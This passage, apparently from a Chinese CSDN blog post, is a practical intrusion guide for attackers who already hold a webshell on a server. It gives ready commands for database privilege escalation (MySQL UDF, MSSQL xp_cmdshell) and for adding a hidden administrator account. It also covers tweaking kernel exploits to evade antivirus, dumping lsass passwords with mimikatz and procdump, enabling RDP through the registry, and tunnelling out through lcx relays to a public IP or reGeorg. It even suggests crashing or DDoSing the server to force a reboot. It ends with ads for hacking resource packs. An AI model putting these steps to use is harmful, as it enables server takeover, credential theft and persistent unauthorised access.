php和aspx的大马都提供了mysql或者mssql的可视化连接工具,盗取了密码之后再连接进去,即可反过来获取管理员密码。
还有部分ftp软件的密码也可以获取,比如FileZilla的密码hash就储存在FileZilla Server.xml当中。
如果获取的mysql密码是root账户,则可以尝试udf提权,php大马集成了此功能(也有专门用来udf提权的木马),先要安装udf.dll(大马里命名为BH.dll/BH64.dll)。确定密码,32/64,点安装dll即可。
此时有可能因为php文件保护--secure-file-priv而无法导出,可以手动将BH64.dll文件上传到对应目录。如果可以修改mysql\my.ini,也可以添加secure_file_priv=然后重启mysql服务,这样就解除了文件保护。重启mysql通常也没有权限,此时要么用蓝屏exp,ddos强迫服务器重启,要么耐心等待管理员对服务器定时重启。
导出dll成功后,即可以nt authority\system执行cmd命令。此时便获取了最高权限。
同理,如果获取的mssql是sa账户,用大马连接上数据库(如果支持远程连接,也可以用其他工具连接),执行sql语句
Exec master.dbo.xp_cmdshell 'whoami';
不过mssql通常不是system权限。还有的时候xp_cmdshell被禁用了。
此时可以尝试用如下命令开启。
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
Webshell的权限是跟容器挂钩的,如果容器是administrator或者system权限,即可以直接通过net user admin$ admin /add && net localgroup administrators admin$ /add来添加系统管理员。但通常容器只有users或者更低的权限,无法添加管理员,无法远程连接3389,只能浏览有限的目录。
那就需要提权。提权常见的是两种方法,一种是上面说到的数据库提权,一种是exp溢出提权。
溢出是windows本身的漏洞,windows更新补丁其中有一部分就是针对溢出的漏洞修补。
在尝试exp溢出之前,我们需要收集服务器信息,首先查看cmd命令是否正常执行,大马自带此功能。
在asp,aspx中,cmd如果不能执行通常是因为容器没有访问c:\windows\system32\cmd.exe的权限,此时只需要上传一个cmd.exe,修改cmd路径即可执行。
同理,如果需要执行其他exe,也可以直接在cmd路径里填入exe路径,语句中加参数。
而在php中,cmd不能执行通常都是因为exec,system,shell_exec等函数被禁用,在phpinfo的disable_functions中可以查看到。
也有一些办法可以突破,但需要的环境条件不一,有兴趣可以看
https://www.freebuf.com/articles/web/192052.html
https://www.freebuf.com/articles/web/169156.html
可以执行cmd后,先用一些常用指令收集服务器信息。
whoami 当前用户
net user 查看所有用户
net user administrator 查看管理员信息
query user 查看是否有用户在线
ipconfig 查看网络环境
netstat -ano查看端口
tasklist 查看进程
systeminfo 查看系统信息和补丁情况
然后根据系统信息来上传对应的溢出exp提权。常见的exp有这些:
MS09-012 KB952004 CVE-2009-0079 pr.exe(2003)
MS09-012 KB956572 CVE-2009-0079 Churrasco.exe(2003)
MS09-020 KB970483 CVE-2009-1535 IIS6.0.exe(2003)
MS14-058 KB3000061 CVE-2014-4113 (2003/2008/2012/7/8)
MS15-015 KB3031432 CVE-2015-0062 (2008/2012/7/8)
MS15-051 KB3057191 CVE-2015-1701 (2003/2008/7/8/2012)
MS16-032 KB3143141 CVE-2016-0099 (2008/7/8/10/2012)
MS16-135 KB3199135 CVE-2016-7246 (2008/7/8/10/2012/2016)
MS16-075 KB3164038 CVE-2016-3225 (2003/2008/7/8/2012)
CVE-2017-0213 (2008/7/8/10/2012/2016)
CVE-2018-8120 (xp/7/2003/2008)
Win2016LPE (10/2016)
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
http://www.zcgonvh.com/
这些exp的使用方法绝大部分都是直接在cmd中执行,D:\exp.exe "whoami"
也有少部分是D:\exp.exe然后新建一个cmd进程的,或者powershell执行,或者需要msf反弹shell,详情可以在下载地址中找到使用方法。
在实战中往往会碰到360等杀毒软件,这些杀毒软件不同于安全狗和D盾,它们一般不会杀掉你的webshell,但会拦截提权exp。这个时候就需要免杀exp,编译免杀exp非常困难,需要扎实的C++功底。但如果360只是云查杀exp,有可能仅仅只改动exp的一点点特征,即可实现免杀。
可以在github下载exp的源码,然后用VS 2013/VS 2015打开sln文件。
项目-配置属性,平台,平台工具集都设置好
然后生成对应exp即可。
这也是部分exp下载地址,不提供exe程序,只提供源码的exe生成方法。除此之外,还可以用Resource Hacker修改exe,在xml上增加无用注释<!--test-->再另存为即可。
Linux系统,也有对应exp提权,最著名的是脏牛。
https://github.com/dirtycow/dirtycow.github.io
https://github.com/FireFart/dirtycow
https://github.com/gbonacini/CVE-2016-5195/
当然,使用之前需要uname -a查看系统内核是否对应。
提权之后,还可以抓取windows内存中的windows用户的密码hash或者明文密码,常用的工具有wce和mimikatz,两者都需要system权限才能运行。
wce使用方法简单。
D:\wce.exe -l 抓取hash
D:\wce.exe-w 抓取明文
Mimikatz可以直接双击使用,先输入privilege::debug测试权限,再输入sekurlsa::logonpasswords抓取hash。
不过mimikatz直接使用不方便,我们可以在cmd中执行它并导出抓取结果,命令如下
D:\mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> D:\log.txt
还可以写一个内容为上述内容的1.bat,然后执行bat。
mimikatz并不免杀,同样可以用VS或者Resource Hacker修改使其免杀。当然,更好的办法是用微软的工具procdump,直接将包含密码的内存下载下来,然后在本地用mimikatz去读取内存文件。在web服务器上使用procdump的方法如下。
D:\www\procdump64.exe -accepteula -ma lsass.exe D:\www\lsass.dmp
然后下载lsass.dmp文件到本地,在本地使用mimikatz
D:\mimikatz.exe "sekurlsa::minidump D:\lsass.dmp" "sekurlsa::logonPasswords full" exit >> D:\log.txt
http://www.ampliasecurity.com/
https://github.com/gentilkiwi/mimikatz
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
获取管理员密码或者添加新的管理员之后,便可以使用3389(mstsc.exe)来远程桌面连接服务器。有的时候服务器并没有开启3389,cmd开启的指令如下。
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
还有的时候,管理员修改了3389端口,可以用netstat -ano命令列举所有0.0.0.0的端口,然后进行端口扫描或者尝试。
九,端口转发
有时候我们还会碰到这样一个问题,ipconfig发现web服务器并没有公网ip,而我们本地也在内网当中。即内网——内网,这样想要登录对方的3389就需要用到端口转发。
比较常用的端口转发工具是lcx.exe和nc.exe,但这种工具必须要一个公网端口进行中转。如果自己有云服务器可以用云服务器进行中转,如果没有就需要购买公网端口,常见的公网端口服务商如下。
http://www.nat123.com/
https://hsk.oray.com/
https://www.ngrok.cc/
https://natapp.cn/
使用方法如下,先登录公网端口服务软件,将公网ip 203.203.203.203:14987映射到本地127.0.0.1:6666
再在本地上运行如下命令,监听本地6666端口,然后转发到本地7777端口
D:\lcx.exe -listen6666 7777
然后在web服务器上运行如下命令,转发本地3389端口,到公网14987端口
D:\www\lcx.exe -slave 203.203.203.203 14987 192.168.11.11 3389
最后在本地运行mstsc,连接127.0.0.1:7777。
https://github.com/987432340/LCX
https://github.com/sensepost/reGeorg
还有一种更方便,无需公网端口中转的方法——reGeorg,直接上传web支持的对应脚本
然后使用reGeorgSocksProxy.py进行连接(需要安装python2.7和urllib3),指令为
PythonreGeorgSocksProxy.py -p 9997 -u http://www.baidu.com/tunnel.ashx
然后使用proxifier新建一个socks 5代理,强迫mstsc.exe走9997端口
此时,本机就和web服务器处于同一局域网中,假设web服务器内网ip为192.168.11.11,直接用mstsc连接192.168.11.11的3389端口即可。
连接3389之前,一定要使用query user命令查看是否有用户在线。有时候服务器限制了连接数量,可以本地使用mstsc /admin挤下其他用户。
十,后续学习
到此为止,就是一次完整的渗透过程所需要的基础知识。
而实战中,需要的高端知识,往往在于sql注入时,XSS时,面对安全软件或者正则的绕过。这要求对数据库语句,html,js语言非常精通。
制作免杀的webshell和exp,要求对php,C++语言精通。
制作爬虫和批量脚本,对python精通。
内网渗透,要求对域环境,msf,cs等精通。
更多的漏洞,比如XXE,CSRF,SSRF,任意文件读取,命令执行,要求更加全面的知识。
对cms的代码审计,要求对php精通。
对其他漏洞的复现,和制作exp。
知识的海洋无穷无尽。
`黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)